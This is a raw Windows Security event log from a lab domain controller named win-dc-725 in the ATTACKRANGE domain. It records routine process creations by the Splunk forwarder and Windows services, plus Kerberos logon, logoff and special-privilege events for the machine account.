	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81C33

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254093
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:55:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254094
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:55:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254096
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:55:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254095
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:55:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254097
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:55:28 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254098
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5c0
	New Process Name:	C:\Windows\System32\wbem\WMIADAP.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	wmiadap.exe /F /T /R

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:55:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254101
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB15C0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:55:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254100
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB15C0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62332

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:55:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254099
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB15C0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254102
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb3c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254103
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254104
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x139c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254105
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x448
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254107
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x101c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254106
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254108
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254110
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xf78
	Creator Process Name:	C:\Windows\System32\UsoClient.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254109
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf78
	New Process Name:	C:\Windows\System32\UsoClient.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\usoclient.exe StartScan

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254144
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7578

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254143
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB7578
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62358

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254142
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB7578

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254141
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB74CD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:56:57 PM
LogName=Security
